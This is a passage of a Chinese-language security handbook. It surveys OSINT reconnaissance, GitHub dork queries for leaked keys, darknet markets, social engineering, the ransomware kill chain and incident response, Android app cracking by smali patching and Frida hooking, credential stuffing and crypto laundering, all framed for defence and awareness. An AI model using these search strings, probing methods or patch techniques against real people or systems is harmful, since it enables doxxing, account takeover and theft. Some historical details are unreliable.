同类工具还有：Censys、crt.sh 平替、以及把"证书 + 被动 DNS + 主动爆破"打包成一条龙的 Sublist3r、Amass、OneForAll。跑完一轮，靶标的资产地图就摊开在桌上了。注意节奏：查 crt.sh 是纯查询别人日志，完全无感；但一旦开始做子域名爆破（爆破是主动探测），就必须确认自己在授权范围内，否则就是地图开疆。

Whois 是"这台服务器注册了谁"的公开账本：注册人姓名、注册邮箱、注册商、注册时间和到期时间，全都写在里面。注意两个实战点：其一，2004 年前的老域名，注册人邮箱往往是实名的；其二，很多公司用隐私保护罩住了 Whois，但历史记录是删不掉的——这就是"Whois 历史查询"存在的意义。

免费好用的站点排个队：SecurityTrails（域名的 DNS 历史、WHOIS 历史、子域名列表，业界标杆）；ViewDNS.info（查"同 IP 上还挂着哪些其他域名"的绝活，IP 反查域名、历史记录、端口快速探测都归它管）；WhoisXMLAPI、NIC 官方查询、RDAP（新一代 Whois 协议，比老接口信息更结构化）。反查高级玩法：IP 反查域名——同一台服务器可能托管着几十个域名，从一个 IP 挖出一片资产，这是红队打点标准动作。

DNS 历史还有一个特殊用处：翻旧账找安全线索。比如某个子域名曾经解析到某台 IP，后来下线了，但旧逻辑还记在文档里；或者在旧 DNS 记录里看到过去用的邮件服务器、签到系统域名，顺藤摸瓜就能找到被遗忘的内部系统。别忘了被动情报三板斧：VirusTotal 的域名页、UrlScan、SecurityTrails——把目标域名喂进去，它的解析历史、关联样本、恶意标注全出来了。

第一种：域名反查邮箱。知道公司域名（example.com），用 Hunter.io 这类工具能批量猜出该公司员工的邮箱命名规律（名.姓、首字母加姓……），然后验证哪些邮箱真实存在。这情报有什么用？钓鱼演练、社工预演、找对外联络人。

第二种：邮箱验证原理。验证一个邮箱是不是真的，不用发邮件。原理是：先问 DNS 要这家邮箱域名的 MX 记录（邮件服务器地址），再连上邮件服务器用 SMTP 协议发一个"验证这个收件人是否存在的探测指令"（RCPT TO）。服务器会回答"存在 / 不存在 / 拒绝透露"三种结果之一。工具层面的现成品有 Hunter 的验证器、VerifyEmailAddress，以及 Python 的 smtplib 自己写二十行代码就能做。注意：很多大厂的邮箱服务器会故意对所有探测都回答"存在"，所以验证结果必须当参考，别当铁证。

第三种：泄露库反查。把邮箱丢进 Have I Been Pwned（HIBP），能查出这封邮箱在哪些网站泄露事件里出现过——HIBP 收录的泄露账号已经超过 100 亿条。泄露本身不可怕，可怕的是泄露的密码被拿去撞库：因为研究反复证实，大多数人在不同网站用同一套账号密码。新闻里那种"一个密码撬开五个平台"的案子，源头都在这里。

第四种：社交平台反查。邮箱可以直接拿去社交平台搜，很多网站的"用邮箱找回账号"页面还会反馈"此邮箱是否已注册"。这属于边界行为，只拿来做自己账号的安全自测。

人有个致命习惯：注册新平台时，优先用自己最顺手的昵称。研究显示，大多数人一生只使用两三个固定昵称。这就给反查留下了天大的缝：拿一个昵称，去几十个平台批量查注册状态，把分散的马甲串成同一个人。

现成神器是 WhatsMyName（whatsmyname.app），它维护着一张巨大的"平台昵称探测规则表"：对每个平台，它会构造"这个用户名在这个平台是否存在"的探测 URL，然后按统一规则给你出报告——哪些平台注册了，哪些没有。开源界还有 Sherlock（Python 命令行），同样原理，往终端一跑，几十个平台几分钟查完，输出一份清爽的存在性报告。进阶用法：抓到目标昵称后，把 WhatsMyName 的结果和社交平台搜索交叉比对，很快你就能拼出"同一个人的工作账号、游戏账号、论坛账号"，连头像、简介、注册时间是哪年都能对上。

这套技术的双面性极其典型：安全团队拿它做"员工钓鱼预警——哪个员工的昵称在招聘网站和社交平台高度重合，谁最容易被社工"；而骚扰者拿它来追踪受害者。所以业内把这套工具默认带上一条铁律：只查自己、只查授权目标。

手机号是比邮箱更硬核的身份锚点，因为它跟实名制绑得很死。情报上能做的有这几层：

第一层：归属地。国内号码前七位（号段 + 中间四位）基本对应运营商和地市，免费的归属地查询工具一堆。"隶属哪家运营商"还能借《携号转网》政策推理：运营商公开的转网号码段名单一出，老工具就过时——所以专业号段库是需要购买的付费数据，个人学习用免费版就够。

第二层：注册平台反查。两个正经途径。一是社交平台的"手机通讯录同步"功能：把目标号码存进自己通讯录，然后去微博、抖音、钉钉、Telegram 等平台的"同步通讯录"里刷，能显示"该号码已注册本平台"——完全合法，只是需要目标号码是当事人自己注册的。二是各类 App 的"找回密码"流程，会提示"此号码是否已注册"，这是公开接口的用途边界，只建议对自己做测试。

第三层：关联信息。号码出现在哪些公开页面（搜一下就有惊喜）、谁在二手平台把它用作联系号、快递单号是否泄露过——国内有"手机号反查快递"的黑产，但那已经是违法行为了，本手册点名排除。

第一个世界：EXIF 元数据。相机或手机拍照时，会在图片文件里写下一段"拍摄小档案"：相机型号、镜头参数、拍摄时间，甚至 GPS 坐标。这段小档案叫 EXIF（Exchangeable Image File Format）。社交软件大多会抹掉 GPS（微博、微信发图一般会剥掉），但原始照片、邮件附件、老图片、网盘备份里经常原封不动。查看工具：看元数据用 ExifTool（命令行瑞士军刀）；不想装东西就百度"EXIF 在线查看器"，或者用 Jeffrey 的 Image Metadata Viewer（exif 在线查看的老牌站点）。

第二个世界：反向图片搜索。Google Lens、百度识图、Yandex 图片搜索（Yandex 反向搜图对"找同图不同源"是公认最狠的）。把一张图丢进去，搜索引擎会告诉你：这张图最早出现在哪、还被谁用过、有没有更高清的版本——高清版本里可能带着水印、露着招牌，甚至就是原博主本人的账号。

第三个世界：图像隐藏信息。照片里可以塞进一段看不见的文字——这技术叫隐写术（Stenography），跟"间谍把情报藏在报纸改字里"是一个道理。检测它需要工具（StegExpose、zsteg），属于取证方向了，本章只是让你知道"图里有字"这回事存在。

第四个世界：地理关联。哪怕照片没 GPS，照样能定位：照片里的地标、餐厅招牌、街景、附近的交通工具，全是可以反查的线索。配上 Google 街景和地图的"坐标搜图"，一张随手拍的窗外风景，高手里能推出精确到楼栋的拍摄位置。网络安全圈著名的"Puzzle"挑战赛、以及真实案件中罪犯晒的自拍，都是被这套方法揪出来的。

头像心理学。头像是一个人在网络上的第一张脸。拿头像做反向搜图，可能找到同一个人在别的平台的账号（很多人一个头像走全网）；头像的更换频率还能反映情绪状态（失恋换头像、辞职换头像，情报员都懂）。真人照片头像 + 公开简介 = 最容易被"锁定"的组合。

发帖习惯测写。从发帖时间能推断作息（深夜党 vs 早鸟）；从设备尾巴（"来自某品牌手机"）能推断消费水平；从语言风格能推断地域和教育背景；从定位能拼接活动轨迹。情报界管这叫"行为指纹"（Behavioral Fingerprint）。你在网上说的每句话，都在训练别人对你建立模型。

关系网测绘。朋友列表、@提到的对象、评论区互动对象，构成一张社交关系网。关系网络的威力在于"一拖多"：锁定一个人，就能顺着关系爬到他的家人、同事、合伙人——企业关键人物的家人在社交平台晒的内容，是钓鱼攻击最喜欢的研究材料。专业社工（Social Engineering）团队做前戏时，会花几天时间研究目标的生活节奏：几点上班、几点发朋友圈、周末去哪，然后挑最没防备的时刻下手。

程序员有个职业病：把配置文件和代码一起提交，写着写着把密钥忘在了仓库里。GitHub 于是成了一座"密码保险柜"——别人家的保险柜。搜索入口是 GitHub 的代码搜索（搜索语法：password in:file、api_key in:file ext:env、"BEGIN RSA PRIVATE KEY"、"AWS_SECRET_ACCESS_KEY"）。GitHub 支持高级筛选：language:、extension:、org:、repo:、path:，还能限定只看提交历史。这一整套就叫 GitHub Dorks。

手工搜是碰运气，工具化才是正经活。重量级选手是 TruffleHog（现叫 Truffle Security）和 Gitleaks。它们的检测原理值得讲清楚，两层：第一层是正则匹配——AWS 密钥长这样、GitHub Token 长那样、私钥有固定头尾，先按指纹筛；第二层是熵值检测（Entropy）——一段随机字符串的"混乱程度"很高，人类起的密码和密钥生成器跑出来的随机串，在熵值上差异巨大，所以工具能钓出"没被正则收录的野生密钥"。它俩还能往深处扫 Git 提交历史：密钥在三天前被你删过也没用，历史 commit 里躺着呢。

对企业来说，GitHub Dorks 是"自查公开仓库"的必修课；对攻击者来说，GitHub 上的第三方仓库（尤其是"公司开源库"）是寻找云密钥、内部地址的富矿。2010 年代起，几乎所有大公司的泄露事故里都能看到"密钥被提交到 GitHub"的影子——每年都有公司因员工把云密钥提交到公开仓库而被薅羊毛的新闻。

Tor（The Onion Router，洋葱路由）诞生于 1990 年代的美国海军研究实验室，原本是军方通信工具，2002 年公开，现在由 Tor Project 维护。它的原理像快递中转：你的流量不直接到网站，而是先跳进一个"入口节点"，再经"中间节点"，最后从"出口节点"出来——每跳都包一层加密（像洋葱一层层剥皮），任何单点都看不到你的完整路径和你访问的内容。普通浏览器访问 Tor 网络的 .onion 站点，URL 数字签名保证"你连到的就是你想连到的那个服务"。

暗网上有什么？有合法的：记者爆料信箱、被审查国家的新闻镜像、隐私爱好者论坛。也有黑暗的：泄露数据库交易、诈骗工具、毒品武器交易市场（最知名的是 2011 年上线、2013 年被 FBI 关闭的 Silk Road「丝绸之路」，以及 2017 年被联合执法行动团灭的 AlphaBay）。研究者估算，Tor 上活跃的 .onion 服务常年维持在十万量级——注意这十万个里绝大多数是无价值的测试站和僵尸站，有交易价值的活跃市场只有个位数，而且经常"一家被端、一家开张"地轮换。暗网市场里的经济账很现实：2022 年以来，骗子比毒贩多——中招的"买家"往往连货物影子都收不到。

为什么情报人员也逛暗网？三个理由。第一，监视：监听泄露市场的数据流向，提前知道哪家企业、哪个政府机构中了招，抢在媒体前做应急预案；第二，研究：跟踪新型诈骗话术、恶意软件即服务（Malware-as-a-Service）的行价，据此评估网络犯罪产业趋势；第三，渗透与钓鱼：执法机构会伪装成买家进入市场，或者干脆自己运营"钓鱼市场"收集犯罪分子信息——2017 年 FBI 就是用"运营假市场"（Hansa 被接管后继续运营）钓鱼抓人的，这是教科书级的跨国操作。另外说句实话：暗网上真正的"超级秘密"很少，因为 Tor 的匿名性是双向的——你匿名，你访问的站点也匿名，一个匿名市场里的"买家秀"可信度天然存疑。

风险与清醒剂。Tor 不是免费隐身衣：出口节点可能被恶意运营者监控流量（抓你明文登录的账号密码），你下载的东西可能带毒，你进的"独家市场"可能就是警察钓鱼站。Tor 用户身份暴露的经典案例（2014 年 FBI 的"腐烂小丑"行动拿下暗网论坛自由港，靠的就是服务器托管公司泄露的日志），值得每个想"上暗网看看"的人先读三遍。

先盘一下"你"在网上由哪些零件组成：①手机号（实名制、通讯录、找回密码钥匙）；②常用邮箱（注册一切平台）；③昵称（跨平台统一标识）；④头像（反向搜图的入口）；⑤地理位置常驻点（家、公司、常去的店）；⑥设备指纹（每台电脑手机的唯一气味）；⑦浏览行为（广告商下注的依据）；⑧购物记录（消费能力画像）；⑨社交关系（上面提到的关系网）；⑩健康与位置类 App 的数据（最敏感的一层）。这十样，就是数据经纪商（专门收集倒卖个人数据的公司）眼里的"人货"。有研究估算，一个普通网民的公开+半公开数据，在黑市上的打包价只有几块钱，但一旦被拼成完整画像，就能变成诈骗、勒索、精准钓鱼的弹药。

反追踪的实操习惯（从轻到重）：第一级，密码层面：3 个平台共用 1 个密码 = 一颗雷；上密码管理器（Bitwarden 免费、KeePass 开源），把密码全部换成随机串，再开两步验证（TOTP）。第二级，账号层面：重要平台注册用"别名邮箱 + 虚拟号"，把真实邮箱和手机号与社交账号隔离——邮箱推荐 ProtonMail 这类端到端加密的（免费版够用）。第三级，浏览层面：浏览器用 Firefox 或 Brave 类，装 uBlock Origin（广告+追踪器拦截双杀），搜索引擎换 DuckDuckGo 或 Startpage，日常"无痕模式"当默认模式用。第四级，设备层面：关掉不必要的定位权限，一律"使用时询问"；手机号能不用就不用；公共 WiFi 默认不连、连了不走明文协议。第五级，主动清理：定期用"姓名+昵称+手机号"自己搜自己，把浮现出来的旧账号、旧帖子清理掉——这叫"数字遗产清扫"。

最后给你一张可以直接打印出来打勾的清单。诚实地说：做完底下十项，你依然不是"隐身人"，但你已经比身边 90% 的人难查得多——这本身就是巨大的优势，因为攻击者永远挑软柿子捏。

场景：周五下午五点半，你收到一封"HR 总监"发来的邮件——"年度福利统计最后 2 小时，点击填写个人信息以免错过"（稀缺）。落款是你认识的 HR 总监的名字，签名档、公司 logo 一应俱全（权威）。邮件里贴心地说"其他部门同事都已提交"（社会认同）。你填了姓名、手机号、生日、身份证号，然后顺手点了邮件里"查看我的福利详情"的链接，输入了公司邮箱密码——恭喜，三分钟，你亲手把自己卖了。全程没有一句代码，只有六个字：人性，可被操纵。

第 1 步：骗子看你朋友圈，知道你下周三要去外地出差，还知道你在做"供应商评估"项目。
第 2 步：他注册一个长得像你同事的邮箱，邮件主题："出差前请把供应商联系表更新一下，老版删了吧"。
第 3 步：附件叫"供应商名单_更新.xlsm"，你一打开，宏自动运行，木马落地。
第 4 步：几天后，你的邮箱开始替骗子发"紧急转账"邮件给客户。整个过程里，骗子没有黑进任何一台服务器——是你亲手把门打开的。

"我们是 XX 公安局，你涉嫌洗钱"：要求把钱转到"安全账户"——公检法没有安全账户，也不会线上办案。
"您的航班取消，可获理赔"：引导你下载会议软件开屏幕共享——屏幕共享等于把手机交给对方。
"我是你领导/孩子，换了新号码"：先要你存号，隔几天再借钱——存号之后，你的通讯录就是他的信任背书。
"平台检测到您账户异常，请配合解封"：诱导你交出登录密码和验证码——官方解封永远不会要你的密码。

"我正在开董事会，手机不方便接，你直接办"——制造无法核实的场景。
"这是我们新的合作银行账户，之前的户头要注销了"——收款账户变更，最经典的 BEC 借口。
"这笔付款涉及上市公司并购保密条款，不要让任何人知道"——用保密压制你的求证冲动。
"供应商很生气，说今天收不到款就停止供货"——用外部压力逼财务放弃流程。

共同点一：都有"正当身份"——维修工、外卖员、新员工、快递，全是日常生活中最不值得怀疑的人。
共同点二：都出现在"大家都忙"的时段——上班高峰、午休、下班前，没人有空较真。
共同点三：都会主动提供"合理解释"——"领导让我来的""门禁卡落在车上了"。
所以物理防御的第一原则只有一条：验证身份，永远比礼貌重要。

第一例勒索软件诞生在 1989 年，叫"艾滋病木马"（AIDS Trojan），通过软盘分发，锁住文件名索要 189 美元——当时还是寄支票的土办法。真正让它出名的，是 2017 年的 WannaCry：一夜之间感染了 150 多个国家、超过 30 万台电脑，医院、工厂、银行全中招。从那以后，勒索软件就不再是"某个病毒"，而是一整套有开发、有加盟、有分成、有售后的黑色产业链（详见 14.5 的 RaaS）。所以请记住：它不是一个具体的病毒，而是一种"商业模式"。

AES（高级加密标准）是全世界用得最多的对称加密算法，所谓"对称"就是"同一把钥匙，既能锁也能开"。它快得像一道闪电：勒索软件用 AES-256 逐个加密文件，一台普通电脑上，几千个文件几十分钟就能全部锁完。你可以把它想成一把"同锁同钥匙"的挂锁——挂锁速度快、便宜，适合把一个个文件箱都锁上。这也是为什么攻击者总选 AES：不是它最强，而是它够快、够通用。

问题来了：AES 的钥匙放哪儿？总不能明文写在自己电脑里吧？攻击者也不傻，他们用第二套算法——RSA（非对称加密）来"包钥匙"。非对称的意思是"两把钥匙各干各的"：公钥是公开的锁，任何人都能往箱子里扔东西锁上；私钥是唯一的钥匙，只在锁的主人手里。攻击流程是这样的：勒索软件在受害电脑上随机生成一把"文件密钥"，用 AES 快速加密所有文件；然后用 RSA 的公钥把这把文件密钥加密，存进电脑；而 RSA 的私钥，永远留在攻击者的服务器上。

绝大多数勒索攻击不是"黑进来"的，而是"走进来"的。最常见三条路：一是钓鱼邮件（假装发票、快递单、简历、会议邀请，诱导你点附件或链接）；二是 RDP 远程桌面爆破（管理员把 3389 端口直接暴露公网，配上弱口令，攻击者拿脚本撞库，一天能试几百万次）；三是未打补丁的漏洞（2017 年 WannaCry 用的就是 EternalBlue 永恒之蓝漏洞，到现在仍有大批机器没补）。注意：多数时候攻击者用的不是 0day 黑科技，而是"口令太弱 + 人太好骗"。

进了一台电脑之后，攻击者并不急着加密，而是像小偷一样先摸底：枚举内网机器、翻共享文件夹、抓管理员口令、往域控上提权。目标是把自己升级成"管理员"，拿到批量加密的资格。这一步最阴险的地方在于：他悄无声息，而你的日志系统可能根本没人在看。Mandiant《M-Trends 2023》显示，全球入侵者的平均驻留时间（从进来到被发现）中位数约 16 天——也就是说，他可能已经在你的网络里住了两周，你才反应过来。

这是整条攻击链里最"专业"的一步：先破坏备份，再动手加密。攻击者会删除卷影副本（Windows 的 Shadow Copy）、清空备份仓库、卸载备份软件、禁用备份任务。Veeam 和 Sophos 的调查报告都显示：超过九成的勒索攻击会尝试破坏或删除备份系统。很多企业事后才痛苦地发现——备份盘跟业务盘一起被锁了，恢复无门。

确认自己拿到管理员权限、备份也被废掉之后，攻击者才开始大批量加密，然后在每个目录留下勒索信，同时悄悄把核心数据（客户资料、财务报表、源代码）上传到自己的服务器——这一步偷出去的数据，就是后面"双重勒索"的弹药（见 14.4）。最后清掉日志、抹掉痕迹，收工等钱。

早年勒索软件只加密文件，企业靠备份就能翻身。攻击者于是"升级"了商业模式：加密之外，还要把偷到的数据当第二个人质——"不给钱，就把你的客户资料、财务数据挂到暗网泄露站点上"。LockBit 等团伙都有自己的泄密网站，专门按时间倒计时公开展示受害者数据。2023 年之后，绝大多数勒索攻击都伴随数据外泄，纯加密勒索反而少见。

三重勒索是在双重勒索的基础上再加第三把刀，常见玩法：对受害者的官网发起 DDoS 攻击打得你服务瘫痪；把泄露消息直接通知你的客户和监管机构；群发邮件骚扰你的员工。本质是"多管齐下"，每一刀都戳在业务命门上，逼你尽快付钱。

RaaS（Ransomware-as-a-Service，勒索软件即服务）就是勒索软件的"加盟连锁"模式：开发者写好勒索软件——带管理后台、自动谈判工具、解密器——然后在暗网"招商"。加盟者（affiliate）不需要懂技术，只要会撒网：发钓鱼邮件、扫 RDP 弱口令。成功收到赎金后按业绩分成，通常攻击者拿七到八成、开发者拿两到三成。有的平台（如 LockBit）甚至提供自助 builder，让加盟者自己定制勒索样本，跟开奶茶店加盟一样"拎包入住"。

LockBit 是 2022-2024 年间全球最活跃的勒索团伙，他们的泄密网站上挂过上千家受害企业，甚至号称"业界最快"。2024 年 2 月，英国国家打击犯罪局联合 FBI、欧洲刑警等多国执法部门发动代号 Operation Cronos 的联合行动，查封了 LockBit 的基础设施和源码——但它转手就宣布"卷土重来"，可见黑色产业链的生命力。

勒索信看着吓人，其实是模板文案，每一句都是心理战。逐句看：

① "Your files have been encrypted with military-grade encryption."（你的文件已被军用级加密。）——潜台词：别想自己解开，别浪费时间。军事级是唬人的，AES-256 确实强，但这句话重点在劝退。

② "You have 72 hours to pay. The price will double."（你只有 72 小时，逾期涨价。）——潜台词：制造紧迫感，逼你冲动决策、来不及找专家。

③ "Do not contact the police or recovery companies."（别报警、别找恢复公司。）——潜台词：怕你冷静下来，更怕你请来高手。

④ "We guarantee 100% decryption after payment."（付款后保证 100% 解密。）——潜台词：空头支票。Coveware 的追踪数据显示，付了赎金平均也只能拿回约六成数据，很多团伙收了钱直接消失。

⑤ "We have already downloaded your sensitive data."（你的敏感数据已被下载。）——潜台词：双重勒索的宣战书，提醒你"备份也没用"。

① 立即断网：拔网线、关 WiFi，防止加密扩散，也防止攻击者远程操控你的机器；② 断开备份存储：卸载云盘、弹出备份盘、取出磁带——保住最后的底牌；③ 拍照留证：勒索信、加密文件列表、弹窗内容全部拍照录屏，这是后续取证和报案的证据；④ 通知上级和安全负责人，别一个人扛；⑤ 别重启、别乱点、别用杀毒软件"一键清理"——那会毁掉内存里的取证痕迹；⑥ 记录时间线：什么时候发现、看到什么、谁动过哪台机器。

向当地公安网安部门报案；联系有应急响应能力的专业公司（或安全厂商的 24 小时应急热线）；如果你的公司买了网络安全保险，第一时间通知保险经纪——很多保单要求"黄金时间"内报告，逾期可能拒赔。专业团队能做的事：取证、遏制扩散、评估数据能不能解密、必要时出面谈判。

第一问：数据是否已备份且可恢复？——是：直接恢复，一分钱不付；否：进第二问。第二问：业务能否承受长期停机（数周）？——能：慢慢恢复、不付钱；不能：进第三问。第三问：恢复/重建的成本 vs 赎金，哪个低？——如果评估后必须谈，走专业谈判流程：设支付上限、要求先给样本解密验证、保留全部证据，并做好"付了也拿不回"的心理准备。

No More Ransom（nomoreransom.org）2016 年由欧洲刑警组织（Europol）联合卡巴斯基等多家安全厂商发起，口号就一句话："你的文件不该被绑架。"网站目前收录了超过 1000 个免费解密工具，官方统计已帮助全球超过 600 万受害者恢复文件，全程免费。用法很简单：把被加密文件的一个样本和勒索信截图上传，网站会自动匹配对应的解密器。

① 伪加密修复：攻击者根本没真加密（只改了扩展名或文件头），修复即可；② 作者私钥被缴获：团伙被执法部门端掉，私钥落入研究人员手中；③ 算法缺陷被逆向：随机数生成太弱、密钥复用、加密逻辑有漏洞。所以"能不能解"取决于攻击者的实现质量，不取决于你有多想解开——这也是为什么第一步永远是查工具，而不是查钱包。

3-2-1 是备份行业的铁律：至少 3 份副本（生产环境 1 份 + 备份 2 份）；2 种不同的介质（比如 1 块本地硬盘 + 1 台 NAS 或云存储，防止同一种介质批量坏掉）；1 份异地且离线（放在不同物理位置，平时不挂载、不联网）。为什么"异地离线"最关键？因为攻击者的标准动作是先破坏备份（见 14.3）——离线的备份他物理上摸不到，这就是你翻盘的底牌。

不可变存储（Immutable Storage）支持 WORM（Write Once Read Many，一次写入、多次读取）特性，或对象锁（如 AWS S3 的 Object Lock）。在锁定期内，数据只读、不可改、不可删——哪怕攻击者拿到了管理员账号，也删不掉你的备份。对云上系统来说，"多版本 + 对象锁 + 异地"的组合，是目前抗勒索能力最强的备份形态。

备份账户要和业务账户分离（防止一起被攻破）；备份系统本身要打补丁；最重要的——定期做恢复演练（restore drill）。太多企业直到被勒索那天，才发现备份三年没验证过：脚本失效、权限不对、磁带读不出来。平时每季度花半天，从备份完整还原一台关键服务器，比出事后再后悔强一万倍。

① 准备（Prepare）：预案、角色分工、工具就位、定期演练——功夫在平时；② 检测（Detect）：靠 EDR/SIEM 告警、日志排查、威胁情报（IOC）匹配，发现异常；③ 遏制（Contain）：断网、隔离机器、冻结账号口令——先止血，再疗伤；④ 根除（Eradicate）：找到入口、清掉后门、修补漏洞，确保威胁被连根拔起；⑤ 恢复（Recover）：从干净备份还原系统，逐台验证完整性，业务回血；⑥ 复盘（Post-Incident）：画时间线、复盘每个环节、加固短板、写报告、更新预案。

第一，先遏制后调查——机器还在扩散时别急着"研究"，先断网隔离；第二，取证要用"拍照式"：对内存、磁盘做只读镜像（copy-on-write），绝不在原始盘上操作，否则证据被污染；第三，每一步记录时间戳和操作人，复盘和报案都需要完整时间线。

传统杀软靠"特征库"识别已知病毒，勒索软件一天变一个样，特征永远慢半拍。EDR（端点检测与响应）靠行为检测：比如"一个进程在几秒内批量修改几千个文件"，这种动作特征一出现就告警，还能自动隔离和回滚。选择标准：开箱即用的行为检测、云查杀联动、能回滚被加密的文件。

默认不把 3389 端口暴露公网；必须远程访问时，走 VPN 或跳板机；开启网络级身份验证（NLA，Network Level Authentication）；强口令 + 限制来源 IP；开启防爆破策略。改默认端口（比如改成 13389）只是"防君子不防小人"，不能作为唯一的防线。

Verizon《数据泄露调查报告》显示，约半数入侵都涉及口令被滥用。MFA（多因素认证）是性价比最高的防线：就算口令泄露，没有第二个因素也进不来。管理员账号、邮箱、VPN、云控制台必须强制 MFA。邮件网关负责拦截钓鱼和恶意附件，对可疑附件做沙箱检测；同时每季度对员工做钓鱼演练，把"点了钓鱼链接"的人数打下来。

对比一下：Web 里"是否 VIP、余额多少"的判断在服务器，你改前端 JS 没用；APP 里同样的判断如果写在客户端，逆向者一搜字符串就找到了，改成恒为真，本地校验全数通过。安全边界只能由服务端划定，客户端任何"自信"的判断都不算数。

Activity：用户看得到的"页面"，是 APP 的门面，也是大多数应用的启动入口。

Service：后台干活的"长工"，不占界面，音乐播放、消息推送都靠它。

BroadcastReceiver：收广播的"哨兵"，开机、网络变化这类系统事件都通过它通知 APP。

ContentProvider：跨应用共享数据的"仓库管理员"，也是经典攻击面——权限配错，别人就能直接读你的数据。

思路：jadx 反编译出来的 Java 是"给人看的翻译"，改完没法直接编译回去；smali 才是"机器认识的原稿"，改完 apktool 能原样打包。所以正经改包都改 smali：定位到对应方法，把 if-eqz 换成 if-nez、把 const/4 换成 const/16，一字节的改动就能改变整个判断走向。

壳也在升级：检测 Frida 和 Xposed 痕迹、检测模拟器、反调试、把关键代码搬进 so、上 VMP 指令虚拟化让反编译器看到天书。脱壳工具也在升级：主动调用、内存扫描、so dump、脚本化对抗。总体趋势是"加固只能提高成本，不能保证绝对安全"——只要代码要在真机上跑，解密和运行就必然发生，就有被观察的窗口。

找函数：静态分析确定目标类和方法的全名；看参数：先只打日志，观察它被谁调用、传了什么；改行为：确认逻辑后改返回值或参数，验证你的假设。三步走完，一个功能点就被你"接管"了。

步骤：模拟器先试一次确认证书链路通 → 真机开代理、装证书 → 抓不到就查 APP 有没有 pinning → 有 pinning 就上 Frida hook → 还不行就检查是不是走了非标准端口或自研协议。逐层排查，大多数"抓不到"都能定位到具体环节。

黑产早已产业化，像正规公司一样分工明确，分上中下游三段：

数据点：腾讯安全 2023 年报告显示，网络黑产从业人员已达 数百万级；公安部数据称 2022 年破获电信网络诈骗案件 46.4 万起，直接经济损失 3180 亿元人民币——这还只是被立案的。黑产利润率远超绝大多数合法行业，"跑分"洗钱团伙的日流水可以达到百万级。

看一条最典型的黑产链条——撞库（Credential Stuffing）：

第 1 步 原料：黑产买到（或自己拖到）某网站的账号密码库，比如 RockYou2021 这种 84 亿条的大包，或单独购买某电商的泄露数据，成本可以低到每条几厘钱。

第 2 步 清洗：写脚本把数据按"邮箱+密码"格式整理、去重、过滤无效行——这叫"洗库"。

第 3 步 撞库：拿洗好的账号密码，批量去撞银行、支付、电商、社交平台——因为很多人一个密码走天下，A 站泄露的密码，在 B 站大概率能登录，这叫"撞库成功率"，行业平均 1%~5%。

第 4 步 验证：撞成功的账号自动打标记，再进一步试探绑定的手机号、银行卡、收货地址。

第 5 步 变现：账号本身可以卖（几毛到几百不等）；有支付权限的直接盗刷；个人信息转卖给精准诈骗团伙，一条"活数据"能卖到几块到几十块。

第 6 步 洗钱：赃款经跑分平台（用大量"码商"的收款码收钱再转出）、虚拟货币混币器、境外地下钱庄，洗白成"正常收入"。

暗网技术原理：Tor（洋葱路由）——你的流量先经过 3 个随机选择的"洋葱节点"，每一层节点只知道上一站和下一站，没有任何一个节点知道你"从哪里来、到哪里去"完整信息。就像你寄一封信，每转手一个人都撕掉一层信封，最后没人知道信最初从哪寄的。所以暗网能做到：访问者匿名、网站也匿名（.onion 网站没有真实 IP）。

数据点：Tor 网络当前全球运行节点超过 6000 个，每日活跃用户数百万（Tor Project 官方指标）；暗网市场规模远小于媒体渲染——安全公司 Digital Shadows 2019 年估算暗网"销售页面"只有 约 3 万个，绝大多数是毒品和伪造品，真正卖"黑客服务"的占比不高，但单价极高。

暗网黑客服务是明码标价的"生意"，价格（行业公开报道的区间，单位美元）：

动作链：需求方（攻击者）→ 在暗网市场/加密群下订单 → 卖方提供工具或服务 → 攻击者实施 → 赃款走加密货币 → 洗钱变现。注意：卖方和买方常互相欺骗——暗网黑吃黑极其常见，"跑路卖家"是常态，所以很多交易走第三方托管（Escrow）。

为什么黑产爱用加密货币？比特币（Bitcoin）：去中心化、跨境秒到、难冻结。门罗币（Monero/XMR）：连金额和交易双方都加密隐藏，比比特币更匿名。但注意——比特币并不完全匿名：所有交易记录公开在区块链上，链上分析（地址聚类、交易图谱）能追踪资金流向，这就是执法部门和 Chainalysis 等公司的本事。

黑产洗钱五步流水线（识别套路即可，切勿参与）：

1. 收集：赃款先变成加密货币（OTC 场外交易商"收币"，用现金/购物卡换币，无 KYC 实名）。
2. 混币：进混币器（Tornado Cash 等）——大量资金打散混合，切断"来源地址→目的地址"的关联。
3. 跳板：跨链桥/交易所频繁换链换币（BTC→ETH→XMR），增加追踪难度。
4. 分散：拆成小额，通过跑分平台/大量"人头账户"（码商）转出，化整为零。
5. 落袋：换成现金、购物卡、黄金、境外房产，钱"洗干净"了。

数据点：Chainalysis《2024 加密货币犯罪报告》显示，2023 年流入非法地址的加密货币约 242 亿美元（其中诈骗 124 亿、被盗资金 11 亿、勒索赎金 11 亿）；Tornado Cash 混币器 2022 年被美国财政部制裁，两名开发者被起诉。2023 年勒索赎金付款被追踪到的约 11 亿美元——说明"匿名"不是绝对匿名。

2021 年 Colonial Pipeline 被勒索（支付了 75 个比特币约 440 万美元赎金），FBI 靠什么追回来 63.7 个比特币？公开报道透露的线索：

追踪动作链：① 锁定赎金地址（勒索信里给的 BTC 地址）→ ② 建交易图谱：追踪这笔币流入哪个交易所/混币器 → ③ 用地址聚类：把同一实体控制的多个地址归并 → ④ 交易所配合：币在某个有 KYC 的交易所变现时，露出真实身份 → ⑤ 执法逮捕。FBI 最终在黑帮成员钱包里起获了这笔钱，靠的就是"加密货币交易记录永久公开"这个特性。

链上分析常用技术：地址聚类（同一笔交易的多地址归一人）、资金流向图（Graph 分析）、交易所提现记录交叉、混币器输入输出模式识别、时间关联分析。工具：Chainalysis、Elliptic、CipherTrace（企业级）；开源可学：Blockchair、Etherscan 的 API、Python 的 bitcoin-address 分析。

数据点：公安部数据显示，刷单返利类诈骗长期位居发案量第一；2023 年电信网络诈骗案均损失约 数万元，最大单案超千万元；受害人年龄分布从大学生到老年人全覆盖，"高学历被骗"同样常见——因为诈骗利用的不是智商而是情绪（恐惧、贪婪、孤独）。

万能防骗口诀（记住三句）：① 要验证码=危险（任何"客服/警察"要验证码都是骗子）；② 要转账先冷静 30 秒（所有骗局最终都导向转账，按下确认键前先打官方电话核实）；③ 天上不会掉馅饼（高收益、稳赚、日结、内部渠道，全是钩子）。

薅羊毛（羊毛党）是最"轻"的黑产：利用平台的优惠活动规则漏洞、新用户补贴、邀请机制，批量注册账号把福利薅光。它的产业化程度高到惊人：

